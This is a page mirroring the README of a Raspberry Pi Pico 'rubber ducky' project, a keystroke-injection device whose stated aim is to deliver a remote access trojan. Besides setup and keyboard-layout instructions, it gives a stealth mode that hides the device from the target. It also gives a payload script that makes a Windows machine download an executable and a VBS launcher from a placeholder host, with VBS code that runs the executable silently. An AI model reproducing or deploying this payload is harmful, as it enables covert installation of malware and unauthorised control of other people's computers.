Coder Social home page Coder Social logo

pi-pico-rubber-ducky's Introduction

Raspberry Pi-Pico as Rubber Ducky

pico Awesome pico pico pico

pi-pico-rubber-ducky

Aim is to run a R.A.T payload btw of a Raspberry Pi-Pico (rp2040) running ducky scripts. Part of : https://github.com/Denis-REMACLE/K-ptain.Ratz

Using

  1. To use this repo please download first the Circuitpython .uf2 file
  2. Plug the device into a USB port while holding the boot button. It will show up as a removable media device named RPI-RP2.
  3. Jsut drag and drop the .uf2 file into the root directory of the Pi Pico. The device will now reboot as CIRCUITPY.
  4. Download and copy the repo content to the Pico :
git clone https://github.com/nzkoxzu/pi-pico-rubber-ducky.git
cp -r pi-pico-rubber-ducky/* /media/username/CIRCUITPY/
  1. Create your own ducky script and save it as payload.dd in the Pico.
  2. Careful, if your device isn't in setup mode, the device will reboot and after half a second, the ducky script will run.

Setup mode

To edit the payload, enter setup mode by connecting the pin 1 (GP0) to pin 3 (GND), this will stop the pico-ducky from injecting the payload in your own machine. The easiest way to so is by using a jumper wire between those pins as seen bellow.

setup-mode

USB enable/disable mode

If you need the pico-ducky to not show up as a USB mass storage device for stealth, follow these instructions.

  1. Enter setup mode.
  2. Copy boot.py to the root of the pico-ducky. Copy your payload.dd script to the pico-ducky. Disconnect the pico from your host PC. Connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). This will prevent the pico-ducky from showing up as a USB drive when plugged into the target computer. Remove the jumper and reconnect to your PC to reprogram. The default mode is USB mass storage enabled.

usb-boot-mode

VBS silently starting malicious file

For Windows, if you want to silently run .exe files you can run them with VBS. Your payload.dd should looks like this :

STRING curl.exe --output not_malicious_file.exe --url https://youwebsite.example/ressources/not_malicious_file.exe
ENTER
DELAY 1000
STRING curl.exe --output starter.vbs --url https://youwebsite.example/ressources/starter.vbs
ENTER
DELAY 1000
STRING wscript starter.vbs
ENTER

This will download not_malicious_file.exe and starter.vbs. The starter.vbs looks like this :

Dim WShell
Set WShell = CreateObject("WScript.Shell")
WShell.Run "not_malicious_file.exe", 0
Set WShell = Nothing

This VBS file will launch not_malicious_file.exe and the , 0 statement enable silent run.

Changing Keyboard layouts

Copied from Neradoc/Circuitpython_Keyboard_Layouts

How to use one of these layouts with the pico-ducky repository.

Go to the latest release page, look if your language is in the list.

If your language/layout is in the bundle

Download the py zip, named circuitpython-keyboard-layouts-py-XXXXXXXX.zip

NOTE: You can use the mpy version targetting the version of Circuitpython that is on the device, but on Raspberry Pi Pico you don't need it - they only reduce file size and memory use on load, which the pico has plenty of.

If your language/layout is not in the bundle

Try the online generator, it should get you a zip file with the bundles for yout language

https://www.neradoc.me/layouts/

Now you have a zip file

Find your language/layout in the lib directory

For a language LANG, copy the following files from the zip's lib folder to the lib directory of the board.
DO NOT modify the adafruit_hid directory. Your files go directly in lib.
DO NOT change the names or extensions of the files. Just pick the right ones.
Replace LANG with the letters for your language of choice.

  • keyboard_layout_win_LANG.py
  • keycode_win_LANG.py

Don't forget to get the adafruit_hid library.

This is what it should look like if your language is French for example.

CIRCUITPY drive screenshot

Modify the pico-ducky code to use your language file:

At the start of the file comment out these lines:

from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS as KeyboardLayout
from adafruit_hid.keycode import Keycode

Uncomment these lines:
Replace LANG with the letters for your language of choice. The name must match the file (without the py or mpy extension).

from keyboard_layout_win_LANG import KeyboardLayout
from keycode_win_LANG import Keycode
Example: Set to German Keyboard (WIN_DE)
from keyboard_layout_win_de import KeyboardLayout
from keycode_win_de import Keycode

Copy the files keyboard_layout_win_de.mpy and keycode_win_de.mpy to the /lib folder on the Pico board

adafruit_hid/
keyboard_layout_win_de.mpy
keycode_win_de.mpy

(back to top)

pi-pico-rubber-ducky's People

Contributors

nzkoxzu avatar amadboss avatar

Stargazers

cr1ng3 avatar  avatar Neisinger avatar  avatar

Watchers

 avatar

Forkers

amadboss

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.